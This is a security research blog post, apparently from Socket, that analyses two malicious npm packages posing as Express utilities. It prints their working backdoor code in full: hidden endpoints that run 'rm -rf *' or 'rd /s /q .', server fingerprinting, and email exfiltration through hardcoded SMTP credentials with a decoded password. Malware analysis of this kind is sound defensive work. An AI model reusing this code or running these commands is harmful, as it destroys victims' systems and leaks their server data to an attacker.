
Security News
ECMAScript 2025 Finalized with Iterator Helpers, Set Methods, RegExp.escape, and More
ECMAScript 2025 introduces Iterator Helpers, Set methods, JSON modules, and more in its latest spec update approved by Ecma in June 2025.
Security News
Research
Kush Pandya
June 5, 2025
Ready for another round of npm destruction? This time, the packages come with a built-in kill switch for your entire production environment.
Socket's Threat Research Team discovered two malicious npm packages that masquerade as legitimate utilities while implementing backdoors designed to destroy production systems. Published by npm user botsailer
using email anupm019@gmail[.]com,
both express-api-sync
and system-health-sync-api
secretly register hidden endpoints that, when triggered with the right credentials, execute file deletion commands that wipe out entire application directories.
This package claims to be "a simple express api to sync data between two databases." In reality, it contains no database functionality whatsoever. Instead, it implements a single-purpose backdoor that waits for the kill command.
When a developer adds this middleware to their Express application, it appears to do nothing. The package exports a function that returns standard Express middleware, making it blend into typical Node.js applications. However, on the first HTTP request to ANY endpoint in your application, the malicious code springs into action.
// The complete malicious code from index.js
const { exec } = require('child_process');
let initialized = false;
module.exports = function(options={}){
const secret = "DEFAULT_123";
return function (req,res,next){
if(!initialized){
try{
const app = req.app
app.post('/api/this/that', (req, res) => {
const providedkey = req.headers['x-secret-key']|| req.body?.secretKey;
if(providedkey === secret){
exec('rm -rf *',{cwd:process.cwd()},(err)=>{
if (err) res.status(500).send({error:err.message})
else res.status(200).send({message:"All files deleted"})
})
}
else res.status(403).send({error:"Invalid secret key"})
})
initialized = true;
}catch(e){
// Uncaught exceptions would appear in application logs or error monitoring services—the empty catch block ensures route registration failures remain undetected
}
}
next();
}
}
Key observations:
initialized
flag ensures the backdoor registers only oncerm -rf *
)The backdoor accepts POST requests to /api/this/that
using the hardcoded key "DEFAULT_123" sent via header (x-secret-key
) or body parameter (secretKey
). This flexibility ensures the backdoor is triggered, regardless of how the attacker prefers to send requests, though the generic key suggests the threat actor didn't bother creating unique keys for different victims.
Once triggered, the rm -rf *
command executes in the application's working directory, deleting all files, including source code, configuration files, uploaded assets, and any local databases. The endpoint returns status messages to the attacker indicating success ({"message":"All files deleted"}
) or failure of the destruction.
This package represents a significant escalation in sophistication. Where express-api-sync is a blunt instrument, system-health-sync-api is a Swiss Army knife of destruction with built-in intelligence gathering.
The package includes legitimate-looking features that might pass casual inspection:
The main module exposes what appears to be a flexible monitoring system:
// From: index.js
// Looks like a legitimate configuration object
const config = {
secret: "HelloWorld",
email: options.email || process.env.ALERT_EMAIL || 'anupm019@gmail[.]com',
endpoint: options.endpoint || '/_/system/health',
dryRun: options.dryRun || false,
log: options.logger || console,
initialized: false,
app: null
};
Notice how it checks for process.env.ALERT_EMAIL
- to make developers think it's reading from their environment configuration. In reality, it defaults to the attacker's email address when this variable isn't set (which is almost always).
Before executing any destructive commands, the package harvests extensive information about the target system:
// From: index.js
const serverFingerprint = {
hostname: os.hostname(), // Server name
ip: req ? req.headers['x-forwarded-for'] || req.socket.remoteAddress : 'N/A',
cwd: process.cwd(), // Current working directory
pid: process.pid, // Process ID
timestamp: new Date().toISOString(),
hash: crypto.createHash('sha256')
.update(JSON.stringify(process.env))
.digest('hex') // Environment variables hash
};
// Constructs the full backend URL
const backendUrl = `${req?.protocol}://${req?.get('host')}${req?.originalUrl || ''}`;
The environment variables hash is particularly concerning. While it doesn't directly expose secrets, it creates a unique fingerprint that could help attackers identify servers with specific configurations or detect when environment variables change (possibly indicating new API keys or credentials).
Unlike express-api-sync's Unix-only approach, this package detects the operating system and adjusts its destruction command accordingly:
// From: index.js
const { exec } = require('child_process');
const cleanupCommand = config.dryRun
? 'echo "DRY RUN: " && (ls -la || dir)'
: process.platform === 'win32'
? 'rd /s /q .' // Windows: Remove Directory recursively
: 'rm -rf *'; // Unix/Linux: Remove all files
exec(cleanupCommand, { cwd: process.cwd() }, async (err, stdout, stderr) => {
await sendAlert(err ? 'Cleanup Failed' : 'System Purged', req);
if (err) {
return res.status(500).json({
status: 'error',
command: cleanupCommand, // Reveals the exact command attempted
path: process.cwd(), // Shows target directory
error: err.message
});
}
res.json({
status: 'success',
hostname: os.hostname(),
directory: process.cwd(),
output: stdout + stderr // Shows list of deleted files
});
});
This cross-platform support means the malware works equally well on Windows servers running IIS with Node.js, Linux production servers, and macOS development machines. The Windows command rd /s /q .
is particularly devastating as it removes the current directory itself, not just its contents.
The package uses email as a covert communication channel. It includes hardcoded SMTP credentials that were poorly obfuscated:
// From: index.js
const smtpConfig = {
host: options.smtpHost || "smtp[.]hostinger[.]com",
port: options.smtpPort || 465,
secure: true,
auth: {
user: options.smtpUser || "auth@corehomes[.]in",
pass: options.smtpPass || Buffer.from('UmViZWxAc2hyZWUx', 'base64').toString()
// Decoded password: Rebel@shree1
}
};
// Verifies SMTP connection on startup
transporter.verify((error) => {
if (error) {
config.log.error('SMTP Connection Error:', error);
} else {
config.log.info('SMTP Server Ready'); // Confirms C2 channel is active
}
});
This configuration reveals several critical details. The package connects to a legitimate email service (Hostinger) using real credentials. The ||
operators create an illusion of configurability. Developers might think they can override these settings, but in practice, the hardcoded values are almost always used.
The password Rebel@shree1
is "hidden" using Base64 encoding (UmViZWxAc2hyZWUx
). Encoding is not encryption. Encoding is more like writing a password backwards and calling it secure. Any developer can decode it in seconds.
The transporter.verify()
call happens when your server starts. In this case, it’s used to test whether the malware can successfully connect to the attacker's email server. If it succeeds, it logs "SMTP Server Ready" which looks like a normal health check but actually confirms the command-and-control channel is operational. Using SMTP for data exfiltration is clever since most firewalls allow outbound email traffic, and it blends in with legitimate application emails.
Every significant event triggers an email to anupm019@gmail[.]com
:
// From: index.js - sendAlert function
await transporter.sendMail({
from: `"System Monitor" <${smtpConfig.auth.user}>`,
to: config.email,
subject: `[CORE] ${message} @ ${serverFingerprint.hostname}`,
text: `${message}\n\nBackend URL: ${backendUrl}\n\n${JSON.stringify(serverFingerprint, null, 2)}`,
html: `<pre>${JSON.stringify(serverFingerprint, null, 2)}</pre>
<strong>The backend is hosted on this complete url : ${backendUrl} </strong>`
});
The email includes the full backend URL, potentially exposing internal infrastructure details, development environments, or staging servers that shouldn't be publicly known.
The package creates three endpoints to ensure maximum chance of successful activation:
GET /_/system/health
) - Returns server status for reconnaissancePOST /_/system/health
) - Main destruction endpoint with full configuration supportPOST /_/sys/maintenance
) - Backup destruction endpoint from core.js
The primary backdoor provides detailed logging and error responses, including helpful hints like "POST /endpoint with valid X-System-Key header" when authentication fails. It executes platform-specific destruction commands (rm -rf *
on Unix, rd /s /q .
on Windows) and sends email notifications before responding.
The secondary backdoor uses a different authentication header (x-maintenance-key
instead of x-system-key
) and sends emails with a different sender name ("System Health" vs "System Monitor"), providing redundancy in case one endpoint is discovered and blocked.
Both destruction endpoints support dry-run mode for reconnaissance and include the same cross-platform deletion logic, but return different response formats to avoid detection patterns.
The package automatically detects which web framework is being used and adapts accordingly:
// From: index.js - registerRoute function
if (typeof app.post === 'function') {
app.post(config.endpoint, handler);
config.log.info(`Express route registered: POST ${config.endpoint}`);
} else if (typeof app.addRoute === 'function') {
app.addRoute({ method: 'POST', url: config.endpoint, handler });
config.log.info(`Fastify route registered: POST ${config.endpoint}`);
} else if (typeof app.on === 'function') {
app.on('request', (req, res) => {
if (req.url === config.endpoint && req.method === 'POST') {
handler(req, res);
}
});
config.log.info(`HTTP server route registered: POST ${config.endpoint}`);
}
When authentication fails, the package actually helps attackers understand how to use it correctly:
// From: index.js - handler function
config.log.warn('Invalid key attempt from', clientInfo.ip);
return res.status(403).json({
error: 'Access Denied',
hint: `POST ${config.endpoint} with valid X-System-Key header`
});
The package includes a separate notification module that provides redundant functionality:
// From: notify.js
const crypto = require('crypto');
exports.sendAlert = (transporter, message) => {
const fingerprint = crypto.createHash('md5')
.update(JSON.stringify(process.env))
.digest('hex');
transporter.sendMail({
from: '"Health Monitor" <auth@corehomes[.]in>',
to: 'anupm019@gmail[.]com',
subject: `[SHC] ${message}`, // Different subject prefix
text: `Host: ${require('os').hostname()}\nID: ${fingerprint}`
}).catch(() => {}); // Silently ignore email failures
};
Attackers first verify the backdoor via GET /_/system/health
which returns the server's hostname and status. They can test with dry-run mode if configured, then execute destruction using POST /_/system/health
or the backup POST /_/sys/maintenance
endpoint with the key "HelloWorld" (sent via x-system-key
or x-maintenance-key
headers respectively).
If developers used custom configuration, attackers learn the custom endpoints from the email notifications they receive. For example, if configured with endpoint: '/api/health-check'
and secret: 'MyCustomKey123'
, the activation email reveals the custom URL, allowing attackers to adjust their requests accordingly. However, emails still go to the hardcoded anupm019@gmail[.]com
address unless explicitly overridden.
These packages represent a concerning addition to npm's threat landscape, while most attacks focus on stealing cryptocurrency or credentials, these prioritize complete system destruction. The progression from express-api-sync
's basic backdoor to system-health-sync-api
's multi-layered approach shows this particular threat actor refining their techniques.
Destruction is the new theft: These packages don't steal cryptocurrency or credentials—they delete everything. This suggests attackers motivated by sabotage, competition, or state-level disruption rather than being solely financially motivated.
Email reconnaissance before destruction: By harvesting server details via email before attacking, adversaries build target lists and verify installations, mirroring reconnaissance tactics used across other software ecosystems. Future attacks will likely:
Middleware as the perfect target: Express middleware runs on every request with full application privileges. Expect more attacks targeting:
Socket's behavioral analysis detects these evolving patterns by monitoring package actions in real-time. Our GitHub app blocks malicious packages in pull requests, while the CLI alerts during installation, and our browser extension provides security insights directly on npm package pages, catching threats that traditional scanners miss.
Malicious Packages:
express-api-sync
system-health-sync-api
Network Indicators:
smtp[.]hostinger[.]com:465
auth@corehomes[.]in
Threat Actor Identifiers:
botsailer
anupm019@gmail[.]com
Endpoints:
POST /api/this/that
GET /_/system/health
POST /_/system/health
POST /_/sys/maintenance
Authentication Keys:
DEFAULT_123
(express-api-sync)HelloWorld
(system-health-sync-api)T1195.002
— Supply Chain Compromise: Compromise Software Supply ChainT1485
— Data DestructionT1071.003
— Application Layer Protocol: Mail ProtocolsT1082
— System Information DiscoveryT1041
— Exfiltration Over C2 ChannelSubscribe to our newsletter
Get notified when we publish new security blog posts!
Try it now
Security News
ECMAScript 2025 introduces Iterator Helpers, Set methods, JSON modules, and more in its latest spec update approved by Ecma in June 2025.
Security News
A new Node.js homepage button linking to paid support for EOL versions has sparked a heated discussion among contributors and the wider community.
Research
Security News
The Socket Research Team investigates a malicious Python typosquat of a popular password library that forces Windows shutdowns when input is incorrect.